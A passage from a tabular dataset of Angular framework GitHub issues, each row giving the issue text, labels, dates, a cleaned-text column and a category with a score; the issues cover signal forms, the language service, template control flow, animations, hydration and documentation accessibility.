5. **HTML elements**: With semantically appropriate icons
6. **Hybrid approach**: Default shows only component classes with templates (configurable)

### SymbolKind Mapping

| Template Element | SymbolKind | Icon |
|-----------------|------------|------|
| `@if`, `@switch` | Struct | 🔶 |
| `@for` | Array | 📦 |
| `@defer` | Event | ⚡ |
| HTML elements | Object | 🟡 |
| Variables | Variable | |

### Configuration

```json
{
  // Disable Angular document symbols
  ""angular.documentSymbols.enabled"": false,
  
  // Show implicit @for variables ($index, $count, etc.)
  ""angular.documentSymbols.showImplicitForVariables"": true,
  
  // Show all TypeScript symbols (methods, properties)
  ""angular.documentSymbols.showTypescriptSymbols"": false
}
```

### De... [TRUNCATED]",area: language-service,2026-01-21 19:57:06+00:00,2026-03-18 00:41:38+00:00,1,area: language-service,55.1976,feat language service add document symbols support for angular templates feature request document symbols support for angular templates status implemented in pr description the angular language service should provide document symbols for angular templates to enhance ide features like the outline panel breadcrumbs navigation and go to symbol cmd shift o ctrl shift o implementation pr implements comprehensive document symbols support including features block syntax with their expressions structural directives with their expressions context variables loop items aliases expression aliases template references variables html elements with semantically appropriate icons hybrid approach default shows only component classes with templates configurable symbolkind mapping template element symbolkind icon struct array event html elements object variables variable configuration de truncated,feature,0.8271
angular/angular,3839496033,Signal forms custom validator with 'fieldTree' field in validation result error,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

After upgrading to 21.1.0 and with the removal customError() from signal forms returning ValidationError from custom validator results in compilation error.

Documentation https://angular.dev/guide/forms/signals/validation#using-validate has an example. It does not state that 'fieldTree' works only in submit function, but have a comment in the example code.

```typescript
interface DTO {
  firstName: string;
  lastName: string;
}

export class App {
  private readonly model = model<DTO>({
    firstName: '',
    lastName: '',
  });

  protected readonly form = form(this.model, (path) => {
    validate(path, (ctx) => {
      if (ctx.valueOf(path.firstName).length < 5) {
        return {
          kind: 'test',
          message: 'Message',
          fieldTree: path.lastName, // or ctx.fieldTree.lastName
        };
      }
      return null;
    });    
  });
}
```

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-8ik35v9w?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
Argument of type '(ctx: RootFieldContext<DTO>) => { kind: string; message: string; fieldTree: SchemaPath<string, 1, Child>; } | null' is not assignable to parameter of type 'FieldValidator<DTO, Root>'.
  Type '{ kind: string; message: string; fieldTree: SchemaPath<string, 1, Child>; } | null' is not assigna... [TRUNCATED]","area: forms,forms: validators,area: docs,forms: signals",2026-01-21 18:25:13+00:00,2026-01-30 19:39:53+00:00,5,"area: forms,forms: validators,area: docs,forms: signals",9.0519,signal forms custom validator with fieldtree field in validation result error which angular package s are the source of the bug forms is this a regression yes description after upgrading to and with the removal customerror from signal forms returning validationerror from custom validator results in compilation error documentation has an example it does not state that fieldtree works only in submit function but have a comment in the example code please provide a link to a of the bug please provide the exception or error you saw true argument of type ctx rootfieldcontext kind string message string fieldtree schemapath null is not assignable to parameter of type fieldvalidator type kind string message string fieldtree schemapath null is not assigna truncated,bug,0.6597
angular/angular,3838401920,chore(language-service): upgrade LSP library to v9.0.1 (LSP 3.17),"## Summary

This PR upgrades the VS Code Language Server Protocol library from v7.0.0 (LSP 3.16) to v9.0.1 (LSP 3.17).

## Motivation

LSP 3.17 introduces several new features that would benefit Angular developers:
- **Inlay Hints** - Show inline type hints for template variables, pipe outputs, etc.
- **Type Hierarchy** - Navigate class/interface inheritance
- **Inline Values** - Show variable values during debugging

This upgrade is a prerequisite for implementing these features.

## Changes

### Package Updates
| Package | From | To |
|---------|------|-----|
| vscode-languageserver | 7.0.0 | 9.0.1 |
| vscode-languageclient | 7.0.0 | 9.0.1 |
| vscode-languageserver-protocol | 3.16.0 | 3.17.5 |
| vscode-jsonrpc | 6.0.0 | 8.2.0 |

### Breaking Changes Addressed
- `LanguageClient.start()` now returns `Promise<void>` instead of `Disposable`
- `LanguageClient.onReady()` removed - use `await start()` directly
- `protocol2CodeConverter` methods now return Promises (`asWorkspaceEdit`, `asRanges`)
- `SignatureHelp.activeParameter`: `null` → `undefined`

### VS Code Compatibility
Minimum VS Code version: 1.74.3 (already our current minimum)

## Testing
- [x] Unit tests pass (4/4)
- [x] LSP integration tests pass (36 specs)
- [x] Extension packages successfully
- [x] Manual testing in VS Code Extension Host

## Follow-up
This upgrade enables but does not implement the new LSP 3.17 features. Implementation will follow in separate PRs.
",,2026-01-21 13:58:51+00:00,2026-01-21 14:01:04+00:00,1,nan,0.0015,chore language service upgrade lsp library to v lsp summary this pr upgrades the vs code language server protocol library from v lsp to v lsp motivation lsp introduces several new features that would benefit angular developers inlay hints show inline type hints for template variables pipe outputs etc type hierarchy navigate class interface inheritance inline values show variable values during debugging this upgrade is a prerequisite for implementing these features changes package updates package from to vscode languageserver vscode languageclient vscode languageserver protocol vscode jsonrpc breaking changes addressed now returns instead of removed use directly methods now return promises vs code compatibility minimum vs code version already our current minimum testing x unit tests pass x lsp integration tests pass specs x extension packages successfully x manual testing in vs code extension host follow up this upgrade enables but does not implement the new lsp features implementation will follow in separate prs,others,0.8074
angular/angular,3837858004,ɵassertType false positive error in Angular Language Service,"### Which @angular/* package(s) are the source of the bug?

core, language-service

### Is this a regression?

Yes

### Description

I am re-living the original post #66304 that was closed as this issue is still happening on the latest versions of the Angular Language Service in VSCode.

After the latest update of the Angular Language Service VS Code extension (1 week ago), a previously working template now throws the following error:

Property 'ɵassertType' does not exist on type 'typeof import("".../node_modules/@angular/core/index"")'.
This occurs on (keydown)=""..."" bindings inside a template of a component that uses ReactiveFormsModule.

Example:

```
<input
  (keydown.enter)=""handleEnter($event)""
  (keydown)=""forceValidation()""
/>
```

Downgrading the extension to the previous version (version 20.3.3 or below) immediately resolves the issue without any code changes.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Property 'ɵassertType' does not exist on type 'typeof import("".../node_modules/@angular/core/index"")'.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 19.2.19
Node: 22.17.0
Package Manager: yarn 1.22.22
OS: win32 x64

Angular: 19.2.15
... animations, common, compiler, compiler-cli, core, forms
... localize, platform-browser, platform-browser-dynamic
... platform-server, router, service-worker

Package               ... [TRUNCATED]","needs reproduction,area: language-service",2026-01-21 11:42:30+00:00,2026-01-22 13:38:51+00:00,5,"needs reproduction,area: language-service",1.0808,asserttype false positive error in angular language service which angular package s are the source of the bug core language service is this a regression yes description i am re living the original post that was closed as this issue is still happening on the latest versions of the angular language service in vscode after the latest update of the angular language service vs code extension week ago a previously working template now throws the following error property asserttype does not exist on type typeof import node modules angular core index this occurs on keydown bindings inside a template of a component that uses reactiveformsmodule example downgrading the extension to the previous version version or below immediately resolves the issue without any code changes please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli node package manager yarn os win x angular animations common compiler compiler cli core forms localize platform browser platform browser dynamic platform server router service worker package truncated,bug,0.6369
angular/angular,3834765453,track function in @for is ignored on in-place element modifications,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

I've noticed that if I specify specific property in the track expression, angular doesn't remount child element when this property changes in-place (i.e. object ref doesn't change).
However, `ngFor` remount such element, which is expected.

Here's the minimal example, which can be tried at https://angular.dev/playground
```ts
import {Input, Output, Component, EventEmitter} from '@angular/core';
import {bootstrapApplication} from '@angular/platform-browser';
import {NgFor} from '@angular/common';

interface ListItem {
  name: string;
}
@Component({
  selector: 's-item',
  template: `<div>magic: {{magic}}, name: {{data.name}} <button (click)=""changeName.emit(data)"">change name</button></div>`,
  styles: 'div{padding:4px;display: flex;justify-content:space-between}'
})
export class Item {
  magic = '';
  
  ngOnInit() {
    this.magic = Math.random().toString(36).slice(3);
  }
  
  @Input({required: true}) data: ListItem = {name: 'qqq'};
  @Output() changeName = new EventEmitter<ListItem>();
}

@Component({
  selector: 'app-root',
  template: `
  <h2>&#64;for</h2>
  @for(item of items;track item.name) { 
     <s-item [data]=""item"" (changeName)=""changeName($event)""/> 
  }
  <h2>ngFor</h2>
  
  <s-item 
    *ngFor=""let item of items2; trackBy: trackFn""
    [data]=""item"" (changeName)=""changeName($event)""/> 
  `,
  imports: [NgFor, Item]
})
export class Playground {
  i... [TRUNCATED]","open for contributions,area: docs",2026-01-20 17:44:35+00:00,2026-01-21 18:25:37+00:00,4,"open for contributions,area: docs",1.0285,track function in for is ignored on in place element modifications which angular package s are the source of the bug core is this a regression yes description i ve noticed that if i specify specific property in the track expression angular doesn t remount child element when this property changes in place i e object ref doesn t change however remount such element which is expected here s the minimal example which can be tried at ts import input output component eventemitter from angular core import bootstrapapplication from angular platform browser import ngfor from angular common interface listitem name string component selector s item template styles div padding px display flex justify content space between export class item magic ngoninit this magic math random tostring slice input required true data listitem name qqq output changename new eventemitter component selector app root template for for item of items track item name ngfor s item ngfor let item of items trackby trackfn data item changename changename event imports ngfor item export class playground i truncated,documentation,0.0516
angular/angular,3834561028,@if formatting issues on HTML,"### Which @angular/* package(s) are relevant/related to the feature request?

ng19+

### Description

any plans to work with 'code formatter' extensions to fix the formatting problems with @if and other 'non-html' tags before making it the 'only' option with ng22?

### Proposed solution

work with them 

### Alternatives considered

keep *ngIf as an option so I would not wrap my **container** with an **if container**",,2026-01-20 16:51:56+00:00,2026-01-20 16:57:15+00:00,3,nan,0.0037,if formatting issues on html which angular package s are relevant related to the feature request ng description any plans to work with code formatter extensions to fix the formatting problems with if and other non html tags before making it the only option with ng proposed solution work with them alternatives considered keep ngif as an option so i would not wrap my container with an if container,bug,0.2732
angular/angular,3834501219,Practical consequences of using enabledBlocking with non-destructive hydration (Angular 21 NG05001),"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

We’re seeking clarification on the practical implications of using Angular’s non-destructive hydration together with router`initialNavigation: 'enabledBlocking'`. In Angular 21, the NG05001 diagnostic flags this pairing as a configuration contradiction. We’d like to understand the real-world risks, failure modes, and the rationale behind discouraging this combination.

### Context
We maintain an open-source Angular meta-framework for building ecommerce. We use `initialNavigation: 'enabledBlocking'` to ensure SSR route guards (e.g., CMS page guards) complete before server-side render.
We encourage users to enable non-destructive hydration for SSR (with `provideClientHydration(withEventReplay(), withNoHttpTransferCache())`).
We have been running enabledBlocking + non-destructive hydration since May 2025 and have not observed degradation or functional issues so far.The new diagnostic in Angular 21 (NG05001) has introduced confusion for our community and library users, because it implies the configuration is invalid, but we haven’t observed issues yet.
**References**:
	• Angular issue: Show warning when `withEnabledBlockingInitialNavigation` Is used with `provideClientHydration` #59624
	• Angular PR: feat(platform-browser): Warns on conflicting hydration and blocking #62963
	• Please note: These threads are closed/locked, so we’re opening a new issue to ask for guidance.

### Ques... [TRUNCATED]","area: router,area: core",2026-01-20 16:35:11+00:00,2026-01-20 18:41:47+00:00,3,"area: router,area: core",0.0879,practical consequences of using enabledblocking with non destructive hydration angular ng which angular package s are relevant related to the feature request core description we re seeking clarification on the practical implications of using angular s non destructive hydration together with router in angular the ng diagnostic flags this pairing as a configuration contradiction we d like to understand the real world risks failure modes and the rationale behind discouraging this combination context we maintain an open source angular meta framework for building ecommerce we use to ensure ssr route guards e g cms page guards complete before server side render we encourage users to enable non destructive hydration for ssr with we have been running enabledblocking non destructive hydration since may and have not observed degradation or functional issues so far the new diagnostic in angular ng has introduced confusion for our community and library users because it implies the configuration is invalid but we haven t observed issues yet references angular issue show warning when is used with angular pr feat platform browser warns on conflicting hydration and blocking please note these threads are closed locked so we re opening a new issue to ask for guidance ques truncated,others,-0.9506
angular/angular,3834221155,feat(template): support optional type annotations in @let declarations,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

Extend the @let template declaration syntax to support optional type annotations, similar to TypeScript variable declarations:
```ts
@let myVar: MyType = myAny;
```
Eg.:
```ts
type MyType = { foo: boolean };

@Component({
  selector: 'app-root',
  template: `
    @let myVar: MyType = myAny;

    {{ myVar.foo }}
  `,
})
export class App {
  MyType!: MyType;
  myAny: any = { foo: true };
}
```

### Proposed solution

```ts
@let myVar: MyType = myAny;
```

### Alternatives considered

```ts
@let myVar = myAny as MyType;
```

OR 

some trick for declare type into template like JSDOC???

```ts
type MyType = { foo: boolean };

@Component({
  selector: 'app-root',
  template: `
    <!-- @type { MyType } -->
    @let myVar = myAny;

    {{ myVar.foo }}
  `,
})
export class App {
  MyType!: MyType;
  myAny: any = { foo: true };
}
```",,2026-01-20 15:26:04+00:00,2026-01-20 15:35:15+00:00,2,nan,0.0064,feat template support optional type annotations in let declarations which angular package s are relevant related to the feature request core description extend the let template declaration syntax to support optional type annotations similar to typescript variable declarations eg proposed solution alternatives considered or some trick for declare type into template like jsdoc,feature,0.8658
angular/angular,3833420599,Disable control flow migration for Angular 21.,"### Command

update

### Description

Until angular version 20, we had option to opt out from control flow migration. But in angular version 21 by default it will run control flow migration and convert *ngFor into @for. Is there any way to opt out from it for now? Or we have to revert it manually for now?

### Describe the solution you'd like

Provide an option on cli to opt out from control flow migration.

### Describe alternatives you've considered

_No response_",,2026-01-20 11:38:24+00:00,2026-01-20 11:41:48+00:00,4,nan,0.0024,disable control flow migration for angular command update description until angular version we had option to opt out from control flow migration but in angular version by default it will run control flow migration and convert ngfor into for is there any way to opt out from it for now or we have to revert it manually for now describe the solution you d like provide an option on cli to opt out from control flow migration describe alternatives you ve considered no response,others,0.5267
angular/angular,3833022782,"[signal forms]: debounceForDuration does not resolve its Promise on abort, causing pending awaits","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

The current implementation of debounceForDuration does not resolve or reject the returned Promise when the associated AbortSignal is aborted ([source](https://github.com/angular/angular/blob/5d46554e3fe8b64c5fefc7a8ce891c179741977e/packages/forms/signals/src/api/rules/debounce.ts#L44)).

As a result, callers awaiting this Promise may remain suspended indefinitely. In particular, debounceSync awaits debounceForDuration ([source](https://github.com/angular/angular/blob/5d46554e3fe8b64c5fefc7a8ce891c179741977e/packages/forms/signals/src/field/node.ts#L324)), and if the debounce is aborted, the await never resolves.

This can lead to:
- async execution paths that never complete
- retention of async stack frames and captured variables
- potentially increased memory usage in long-running or frequently triggered scenarios

Resolving the Promise on abort would avoid this issue. This should be safe, as debounceSync already checks `controller.signal.aborted` before performing the sync operation, so resolving early would not change observable behavior—only ensure proper completion of the async flow.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.5
Node.js          ... [TRUNCATED]","area: forms,forms: signals",2026-01-20 10:13:31+00:00,2026-01-30 17:19:44+00:00,1,"area: forms,forms: signals",10.296,signal forms debounceforduration does not resolve its promise on abort causing pending awaits which angular package s are the source of the bug forms is this a regression no description the current implementation of debounceforduration does not resolve or reject the returned promise when the associated abortsignal is aborted source as a result callers awaiting this promise may remain suspended indefinitely in particular debouncesync awaits debounceforduration source and if the debounce is aborted the await never resolves this can lead to async execution paths that never complete retention of async stack frames and captured variables potentially increased memory usage in long running or frequently triggered scenarios resolving the promise on abort would avoid this issue this should be safe as debouncesync already checks before performing the sync operation so resolving early would not change observable behavior only ensure proper completion of the async flow please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli node js truncated,others,-0.7599
angular/angular,3831622306,Forms `code-examples.db` is corrupted.,"When running the `find_examples` tool I often get `All available example databases were invalid. Cannot perform query.`

It turns out that the `code-examples.db`  located in `node_modules/@angular/forms/resources` is corrupted.  

The infra was set-up by #65975

Edit: the target that generates the db works properly. Running `pnpm bazel build //packages/forms:forms_example_databaseta` creates a valid db. Something is corrupting it latest in the process. 
",area: dev-infra,2026-01-20 00:52:34+00:00,2026-01-21 18:35:06+00:00,1,area: dev-infra,1.7379,forms is corrupted when running the tool i often get it turns out that the located in is corrupted the infra was set up by edit the target that generates the db works properly running creates a valid db something is corrupting it latest in the process,others,0.2732
angular/angular,3830315663,Compiler-plugin error causes frontend build to fail,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

We recently got a dependabot PR prompting us to bump @angular/compiler from 21.0.6 to 21.0.7. However, this causes the frontend build to fail in our CI pipeline, so we cannot accept the PR.

We get the following error:

`✘ [ERROR] Method not implemented. [plugin angular-compiler]

  This error came from the ""onStart"" callback registered here:

    node_modules/@angular/build/src/tools/esbuild/angular/compiler-plugin.js:120:18:
      120 │             build.onStart(async () => {
          ╵                   ~~~~~~~

    at setup (/home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/@angular/build/src/tools/esbuild/angular/compiler-plugin.js:120:19)
    at handlePlugins (/home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/esbuild/lib/main.js:1141:21)
    at buildOrContextImpl (/home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/esbuild/lib/main.js:854:5)
    at Object.buildOrContext (/home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/esbuild/lib/main.js:680:5)
    at /home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/esbuild/lib/main.js:2026:15
    at new Promise (<anonymous>)
    at Object.build (/home/runner/work/terraform/terraform/src/Ist.Terraform.Collidr/web/node_modules/esbuild/lib/main.js:2025:25)
    at buil... [TRUNCATED]",needs reproduction,2026-01-19 15:56:10+00:00,2026-01-20 08:23:11+00:00,3,needs reproduction,0.6854,compiler plugin error causes frontend build to fail which angular package s are the source of the bug compiler is this a regression yes description we recently got a dependabot pr prompting us to bump angular compiler from to however this causes the frontend build to fail in our ci pipeline so we cannot accept the pr we get the following error error method not implemented plugin angular compiler this error came from the onstart callback registered here node modules angular build src tools esbuild angular compiler plugin js build onstart async at setup home runner work terraform terraform src ist terraform collidr web node modules angular build src tools esbuild angular compiler plugin js at handleplugins home runner work terraform terraform src ist terraform collidr web node modules esbuild lib main js at buildorcontextimpl home runner work terraform terraform src ist terraform collidr web node modules esbuild lib main js at object buildorcontext home runner work terraform terraform src ist terraform collidr web node modules esbuild lib main js at home runner work terraform terraform src ist terraform collidr web node modules esbuild lib main js at new promise at object build home runner work terraform terraform src ist terraform collidr web node modules esbuild lib main js at buil truncated,bug,-0.9548
angular/angular,3825965472,"Feature Request: ""hasError"" for Signal Forms in order to avoid the problem of ""magic numbers""","### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

To my best understanding the only way to print an error message in the HTML template is to pass a number as the index of array returned by [errors()](https://angular.dev/api/forms/signals/FieldState#errors) method:

HTML:
```
@if (loginForm.email().invalid() && loginForm.email().dirty()) {
    <div>{{ loginForm.email().errors()[0].message }}</div>
    <div>{{ loginForm.email().errors()[1].message }}</div>
}
```

TS:
```
loginForm = form(this.userFields, (path: SchemaPathTree<ILoginFields, PathKind.Root>) => {
    required(path.email, { message: 'Email is required' });
    pattern(path.email, /^[^\s@]+@[^\s@]+\.[^\s@]+$/, { message: 'Invalid email format' });
});
```

Would it be possible to add something similar to [hasError](https://angular.dev/api/forms/FormControl#hasError) method from FormControl so that the error messages would not be accessed via ""magic numbers""?

### Proposed solution

```
@if (loginForm.email().invalid() && loginForm.email().dirty()) {
  <div class=""alert"">
    @if (loginForm.email().hasError('required')) {
      <div class=""form-error"">E-mail is required.</div>
    }
    @if (loginForm.email().hasError('pattern')) {
      <div class=""form-error form-error--secondary"">Please provide a valid-email address.</div>
    }
  </div>
}
```

### Alternatives considered

```
@if (loginForm.email().invalid() && loginForm.email().dirty()) {
  <div class=""alert"">
... [TRUNCATED]",,2026-01-17 22:39:25+00:00,2026-01-17 23:25:08+00:00,1,nan,0.0317,feature request haserror for signal forms in order to avoid the problem of magic numbers which angular package s are relevant related to the feature request forms description to my best understanding the only way to print an error message in the html template is to pass a number as the index of array returned by errors method html ts would it be possible to add something similar to haserror method from formcontrol so that the error messages would not be accessed via magic numbers proposed solution alternatives considered if loginform email invalid loginform email dirty truncated,bug,-0.8126
angular/angular,3824063870,When selecting a back button causes a brief flicker,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

I have a form on one route with radio buttons, an input box, and a button to navigate to the next route. The second route has a back button that returns to the previous route. When I click this back button, I notice a brief flicker where the previously selected radio button momentarily displays as unselected before immediately switching back to the selected state.

Interestingly, this flicker doesn't occur when I use the browser's back button. Is this flickering behavior inherent to how Angular handles navigation, or is there a way to prevent it?

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
This happens in Angular 19 and Angular 21
```

### Anything else?

_No response_","needs reproduction,area: router",2026-01-17 00:11:59+00:00,2026-01-20 21:02:45+00:00,3,"needs reproduction,area: router",3.8686,when selecting a back button causes a brief flicker which angular package s are the source of the bug don t known other is this a regression no description i have a form on one route with radio buttons an input box and a button to navigate to the next route the second route has a back button that returns to the previous route when i click this back button i notice a brief flicker where the previously selected radio button momentarily displays as unselected before immediately switching back to the selected state interestingly this flicker doesn t occur when i use the browser s back button is this flickering behavior inherent to how angular handles navigation or is there a way to prevent it please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.836
angular/angular,3823020547,`animate.leave` does not work for the last `@for` element within an `@if`,"### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

No

### Description

Do something like this:

```
 @if (items().length) {
    <div class=""items"">
      @for (item of items(); track item.id) {
        <div class=""item"" animate.leave=""fade-out"">
          Item {{ item.id }}
        </div>
      }
    </div>
  }
```
and start removing elements from `items`.
The animation will work for most items, except for the last one (when the `@if` toggles).

It's unexpected.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-wv31ddgt?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.0
Angular           : 21.1.0
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations       │ 21.1.0            │ ^21.1.0           │
│ @angular/build            │ 21.1.0            │ ^21.1.0           │
│ @angular/cli              │ 21.1.0            │ ^21.1.0           │
│ @angular/common           │ 21.1.0            │ ^21.1.0           │
│ @angular/compiler         │ 21.1.0            │ ^21... [TRUNCATED]",,2026-01-16 17:54:24+00:00,2026-01-16 18:10:20+00:00,2,nan,0.0111,does not work for the last element within an which angular package s are the source of the bug animations is this a regression no description do something like this and start removing elements from the animation will work for most items except for the last one when the toggles it s unexpected please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular animations angular build angular cli angular common angular compiler truncated,others,-0.4588
angular/angular,3821924022,Incorrect use of aria-label in documentation for sub-section headings,"### Describe the problem that you experienced

Hi,

I'm a blind programmer and screen reader user.

Reading documentation on angular.dev, I see that, for each sub-section heading, there is something like:

```
<h2 id=""resource-loaders"">
  <a
    href=""#resource-loaders""
    class=""docs-anchor""
    tabindex=""-1""
    aria-label=""Link to Resource loaders"">
      Resource loaders
      <docs-copy-link-button
        mattooltipposition=""above""
        class=""mat-mdc-tooltip-trigger""
        _nghost-ng-c2302112746=""""
        aria-label=""Copy link to Resource loaders"">
        <docs-icon
          _ngcontent-ng-c2302112746=""""
          aria-hidden=""true""
          translate=""no""
          class=""material-symbols-outlined""
          _nghost-ng-c1001676203=""""
          ng-version=""21.1.0+sha-ded654d"">
            link
        </docs-icon>
      </docs-copy-link-button>
  </a>
</h2>
```

Even it's not so easy to point to a single, clear, authoritative resource about it, this is incorrect for various reasons:

- `<a>` tag contains text, perfectly retrievable by screen readers, but has also an aria-label;
- the label for `<a>` is prefixed with ""Link to"", but aria-label should not provide role info, and `<a>` tag is already exposed by browsers to screen readers as a link (so the current label just duplicates the role reporting);
- aria-label on `<a>` hides completely the nested pseudo-button and icon (latter is hidden with aria, anyway, so ok);
- the `<docs-copy-link-button>` pseudo-butto... [TRUNCATED]",area: docs-infra,2026-01-16 12:55:11+00:00,2026-01-21 18:25:38+00:00,8,area: docs-infra,5.2295,incorrect use of aria label in documentation for sub section headings describe the problem that you experienced hi i m a blind programmer and screen reader user reading documentation on angular dev i see that for each sub section heading there is something like even it s not so easy to point to a single clear authoritative resource about it this is incorrect for various reasons tag contains text perfectly retrievable by screen readers but has also an aria label the label for is prefixed with link to but aria label should not provide role info and tag is already exposed by browsers to screen readers as a link so the current label just duplicates the role reporting aria label on hides completely the nested pseudo button and icon latter is hidden with aria anyway so ok the pseudo butto truncated,documentation,0.4442
angular/angular,3819265633,Signal Forms - Value type can't extend generics,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

```ts
interface XXX {}

@Component({
  selector: 'cat-cat',
  imports: [],
  template: '',
})
export class Cat<T extends XXX> {
  protected readonly model = signal<{query: string; result: XXX | null}>({
    query: '',
    result: null,
  });

  protected readonly form = form(this.model, (schema) => {
    required(schema.cat); /* This is error */
  });
}

```
","area: forms,forms: signals",2026-01-15 21:35:15+00:00,2026-03-19 18:21:24+00:00,4,"area: forms,forms: signals",62.8654,signal forms value type can t extend generics which angular package s are relevant related to the feature request no response description,others,0.2263
angular/angular,3818990826,Angular version 18.2.14 has a bug on @Directive standalone compiling,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

Looks like Angular version 18.2.14 has a bug on @Directive standalone compiling

the directive:

```
import { Directive, ElementRef, HostListener } from '@angular/core';
@Directive({
  selector: '[appHighlight]',
  standalone: true
})
export class HighlightDirective {
  constructor(private el: ElementRef) { }
  @HostListener('mouseenter') onMouseEnter(): void {
    this.highlight('yellow');
  }
  @HostListener('mouseleave') onMouseLeave(): void {
    this.highlight('');
  }
  private highlight(color: string): void {
    this.el.nativeElement.style.backgroundColor = color;
  }
}
```
I have a page which used it
```
  <div >
    <h1>Hello, {{ title }}</h1>
    <p appHighlight>Congratulations! Your app is running. </p>
  </div>
```
So I need to add them into imports like this:
```
  standalone: true,
  imports: [RouterOutlet, HighlightDirective, IfNullPipe],
```
But compiling didn’t complain if I remove it from imports and the page function is silently broken

I tried to remove other necessary components like IfNullPipe and immediately get compiling error

I knew in HTML spec, an element can add any extra attribute 

But  I still think it is a bug on @Directive standalone compiling because its silent failure make it dangerous

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

... [TRUNCATED]",,2026-01-15 20:09:21+00:00,2026-01-15 20:10:57+00:00,2,nan,0.0011,angular version has a bug on directive standalone compiling which angular package s are the source of the bug compiler is this a regression no description looks like angular version has a bug on directive standalone compiling the directive i have a page which used it so i need to add them into imports like this but compiling didn t complain if i remove it from imports and the page function is silently broken i tried to remove other necessary components like ifnullpipe and immediately get compiling error i knew in html spec an element can add any extra attribute but i still think it is a bug on directive standalone compiling because its silent failure make it dangerous please provide a link to a of the bug no response please provide the exception or error you saw true truncated,bug,-0.98
angular/angular,3818476663,[signal forms] FormField directive does not work with host directives inputs,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

When creating custom form controls using a host directive that implements the FormValueControl interface and exposes shared inputs, the associated FormField directive no longer propagates input updates (for example, required and disabled) to the control.

This behaviour worked as expected in Angular Forms v21.0.1, but appears to have regressed in v21.0.8.

Using host directives to expose and share inputs across components is a common pattern in our codebase. The current behaviour prevents this pattern from working correctly and represents a regression from previous releases. Restoring this functionality would be highly beneficial, as it is relied upon extensively.

A minimal, stripped-down reproduction of this use case is provided below.

**Our directive**
```typescript
// imports....

@Directive({
    standalone: true,
    exportAs: 'isFormControl',
})
export class IsFormControlDirective<ValueType = any> implements FormValueControl<ValueType | null> {
    public readonly value: ModelSignal<ValueType | null> = model<ValueType | null>(null);

    public readonly name: InputSignal<string> = input<string>('');

   public readonly required: InputSignal<boolean> = input<boolean>(false);

    public readonly disabled: InputSignal<boolean> = input<boolean>(false);

    public readonly readOnly: InputSignal<boolean> = input<boolean>(false);

    public readonly touched:... [TRUNCATED]","area: forms,forms: signals",2026-01-15 17:31:25+00:00,2026-02-18 22:06:56+00:00,12,"area: forms,forms: signals",34.1913,signal forms formfield directive does not work with host directives inputs which angular package s are the source of the bug forms is this a regression yes description when creating custom form controls using a host directive that implements the formvaluecontrol interface and exposes shared inputs the associated formfield directive no longer propagates input updates for example required and disabled to the control this behaviour worked as expected in angular forms v but appears to have regressed in v using host directives to expose and share inputs across components is a common pattern in our codebase the current behaviour prevents this pattern from working correctly and represents a regression from previous releases restoring this functionality would be highly beneficial as it is relied upon extensively a minimal stripped down reproduction of this use case is provided below our directive typescript imports directive standalone true exportas isformcontrol export class isformcontroldirective implements formvaluecontrol public readonly value modelsignal model null public readonly name inputsignal input public readonly required inputsignal input false public readonly disabled inputsignal input false public readonly readonly inputsignal input false public readonly touched truncated,others,0.948
angular/angular,3818291477,Angular Elements imported by Angular have inconsistent lifecycle,"### Which @angular/* package(s) are the source of the bug?

elements

### Is this a regression?

No. This has been the case for as long as I have used Angular, at least 3 years.

### Description

When an Angular component imports another Angular component, `ngOnInit`, `effect`s and `resource`s are called once the inputs are set.

When an Angular component imports an **Angular Elements element**, `ngOnInit`, `effect`s and `resource`s are called before the inputs are set.

There seems to be no alternative lifecycle hook to know when the inputs have indeed been set.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/angular-fpq5sqat?file=src%2Fmain.ts,src%2Fsub-component.ts,src%2Findex.html,package.json

### Please provide the exception or error you saw

```true
In the Angular component, `ngOnInit` is correctly called with values.

In the Angular Elements element, `ngOnInit` is called with undefined inputs.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
See Stackblitz, 21.1.0 for all the packages. However, this dates back at least to Angular 15.
